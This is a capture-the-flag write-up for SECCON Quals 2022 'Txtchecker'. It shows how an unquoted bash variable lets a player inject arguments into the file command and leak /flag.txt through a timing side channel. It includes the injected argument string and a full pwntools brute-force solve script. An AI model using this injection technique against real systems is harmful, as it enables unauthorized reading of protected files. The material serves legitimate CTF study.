SECCON Quals 2022 - Txtchecker
Last modification on
Challenge
I'm creating a text file checker. It still in the process of implementation...
Challenge Files | Solution Files
checker.sh
#!/bin/bash
read -p "Input a file path: " filepath
file $filepath 2>/dev/null | grep -q "ASCII text" 2>/dev/null
# TODO: print the result the above command.
# $? == 0 -> It's a text file.
# $? != 0 -> It's not a text file.
exit 0
Overview
The service consists of effectively 2 lines of bash script:
read -p "Input a file path: " filepath
file $filepath 2>/dev/null | grep -q "ASCII text" 2>/dev/null
Using read
, a line of user input is read into the variable filepath
,
and used as argument to the command file
. If the string "ASCII text"
is found in the output, grep
exits with status code 0, otherwise
a non-zero status code is returned. Neither the filtered text nor
the exit code of grep
are output by the service (!).
The goal is to recover the contents of the flag file at /flag.txt
.
Analysis
The first thing we notice is that the call to file
is vulnerable to
injection of an arbitrary number of arguments due to lack of quoting.
Additionally, in the file
manpage we find:
-m, --magic-file magicfiles
Specify an alternate list of files and directories containing magic. This can be a single item, or a
colon-separated list. If a compiled magic file is found alongside a file or directory, it will be used
instead.
-s, --special-files
Normally, file only attempts to read and determine the type of argument files which stat(2) reports are
ordinary files. This prevents problems, because reading special files may have peculiar consequences.
Specifying the -s option causes file to also read argument files which are block or character special
files. This is useful for determining the filesystem types of the data in raw disk partitions, which
are block special files. This option also causes file to disregard the file size as reported by
stat(2) since on some systems it reports a zero size for raw disk partitions.
Using the -m
flag, we can supply a custom
magic file to evaluate the
contents of the flag file. We can use -s
and specify /dev/stdin
as the
filepath for -m
such that the contents of the magic file are read
through our existing connection to the service.
Let's take a look at a simple magic file to understand how it works.
#------------------------------------------------------------------------------
# $File: warc,v 1.4 2019/04/19 00:42:27 christos Exp $
# warc: file(1) magic for WARC files
0 string WARC/ WARC Archive
>5 string x version %.4s
!:mime application/warc
This magic file is for the warc
file format. First, the string
at offset
0
is compared to the string "WARC/"
. If correct, "WARC Archive"
is output
by file
. Additionally, the next 4 characters after "WARC/"
are
interpreted as the version number and output as well.
With just a few tweaks we can make it output "SECCON FLAG"
when
the input is matched, and the default ascii text description "ASCII text"
otherwise:
#------------------------------------------------------------------------------
# $File: warc,v 1.4 2019/04/19 00:42:27 christos Exp $
# warc: file(1) magic for WARC files
0 string SECCON{ SECCON FLAG
!:mime application/warc
To determine wether the flag was matched or not we need to create an
observable side-effect. If the flag matches our magic file, grep
does not
find "ASCII text"
, meaning it does not exit and continues to process data.
If we can make file
continue to output information and hang, we can
differentiate whether the flag matched (connection closes immediately)
or whether it didnt (connection hangs and is killed after 5s timeout).
We can supply /dev/full
after /flag.txt
in our injected commandline
arguments for this purpose, but we must also modify the maximum amount of
bytes file
is willing to read from each file:
-P, --parameter name=value
Set various parameter limits.
Name Default Explanation
bytes 1048576 max number of bytes to read from file
elf_notes 256 max ELF notes processed
elf_phnum 2048 max ELF program sections processed
elf_shnum 32768 max ELF sections processed
encoding 65536 max number of bytes to scan for encoding evaluation
indir 50 recursion limit for indirect magic
name 50 use count limit for name/use magic
regex 8192 length limit for regex searches
Adding -n
to our argument list will ensure the output is flushed immediately:
-n, --no-buffer
Force stdout to be flushed after checking each file. This is only useful if checking a list of files.
It is intended to be used by programs that want filetype output from a pipe.
The final command used to query the flag file is:
file -s -n -P bytes=99999999999 -m /dev/stdin /flag.txt
/dev/full /dev/full /dev/full /dev/full /dev/full
/dev/full /dev/full /dev/full /dev/full /dev/full
Exploit
To differentiate a short hang from a long one (especially when lots of players are using the service at the same time), we calculate a rolling average and use this to determine whether testing of a specific flag prefix was significantly slower (=> correct).
solve.py
from pwn import *
import time
cmd = f"sshpass -p ctf ssh -oStrictHostKeyChecking=no " \
+ f"-oCheckHostIP=no ctf@localhost -p 2022"
magic_file = """
#------------------------------------------------------------------------------
# $File: warc,v 1.4 2019/04/19 00:42:27 christos Exp $
# warc: file(1) magic for WARC files
0 string {} SECCON FLAG
!:mime application/warc
"""
n = 0
avg = 5
def getchar(prefix=""):
global n, avg
alph = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[]^_`{|}~'
for c in alph:
attempt = prefix + c
print(f">>> {attempt}")
io = process(cmd.split(), stdin=PTY, raw=False)
io.readuntil(b"Input a file path: ")
io.sendline(b"-n -s -P bytes=99999999999 -m /dev/stdin /flag.txt /dev/full /dev/full /dev/full /dev/full /dev/full /dev/full /dev/full /dev/full")
io.sendline(magic_file.format(attempt).encode())
io.send(b"\4")
start = time.time()
print(io.readall())
end = time.time()
dur = end - start
print("DUR", dur)
print("AVG", avg)
if end - start >= avg + 5:
return c
n += 1
avg = ((n - 1) * avg + dur) / n
io.close()
return None
flag = "SECCON{"
while True:
try:
while c := getchar(prefix=flag):
flag += c
print(flag)
except Exception as e:
print("Exception, sleeping..")
time.sleep(30)